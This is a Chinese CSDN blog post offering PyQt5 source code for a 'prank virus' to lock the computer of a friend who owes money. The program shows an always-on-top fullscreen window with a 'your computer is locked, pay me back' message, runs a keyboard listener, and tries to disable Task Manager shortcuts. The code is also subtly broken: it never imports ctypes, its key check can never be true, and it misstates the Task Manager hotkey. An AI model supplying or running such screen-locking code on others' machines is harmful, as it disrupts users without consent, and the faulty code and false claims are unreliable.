基于pyqt的恶搞全屏关不掉禁用任务管理器的病毒源码

本文介绍了如何利用Python和PyQt5开发一个恶搞程序,它创建一个全屏窗口并监控键盘输入,当用户尝试打开任务管理器或连按4次Shift键时,弹出提示消息。该程序并不具备实际危害,但展示了键盘监听和窗口控制的基本技术。
摘要由CSDN通过智能技术生成

只用于恶搞欠我10块钱不还的盆友。

切勿用于他人的电脑上,不然ta直接和你翻脸。

此恶搞病毒对电脑没有危害性。可以随便试逝世。

import sys
from PyQt5.QtWidgets import QApplication, QMainWindow, QMessageBox
from PyQt5.QtCore import Qt, QTimer
from pynput import keyboard

class FullScreenWindow(QMainWindow):
    def __init__(self):
        super().__init__()

        # 设置窗口标题
        self.setWindowTitle("全屏窗口")

        # 设置窗口大小为屏幕大小
        screen_geometry = QApplication.desktop().screenGeometry()
        self.setGeometry(screen_geometry)

        # 设置窗口为无边框
        self.setWindowFlags(Qt.FramelessWindowHint)

        # 将窗口置于顶层
        self.setWindowFlags(Qt.WindowStaysOnTopHint)

        # 设置窗口透明度为0
        self.setWindowOpacity(0)

        # 创建定时器
        self.timer = QTimer(self)
        self.timer.timeout.connect(self.stayOnTop)
        self.timer.start(1000)  # 每隔1秒执行一次

    def stayOnTop(self):
        # 将窗口置于顶层
        self.setWindowFlags(Qt.WindowStaysOnTopHint)
        self.show()

    def mousePressEvent(self, event):
        QMessageBox.information(self, "恭喜", "你的电脑被我锁了,赶快还我钱!")

def on_press(key):
    try:
        if key == keyboard.Key.ctrl_l and key == keyboard.KeyCode(vk=0x52):  # Ctrl + Shift + R (任务管理器)
            print("屏蔽任务管理器快捷键")
            return False  # 返回 False 表示拦截此事件
    except AttributeError:
        pass

    # 连按4次 Shift 键
    try:
        global shift_count
        if key == keyboard.Key.shift:
            shift_count += 1
            if shift_count == 4:
                print("屏蔽连按4次 Shift 快捷键")
                return False  # 返回 False 表示拦截此事件
        else:
            shift_count = 0
    except AttributeError:
        pass

def start_keylogger():
    with keyboard.Listener(on_press=on_press) as listener:
        listener.join()

if __name__ == "__main__":
    app = QApplication(sys.argv)
    window = FullScreenWindow()
    window.showFullScreen()  # 显示全屏窗口

    # 禁用任务管理器快捷键
    ctypes.windll.user32.RegisterHotKey(None, 1, 0x0003, 0x52)  # Ctrl + Shift + R

    # 启动键盘事件监听
    start_keylogger()

    sys.exit(app.exec_())

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值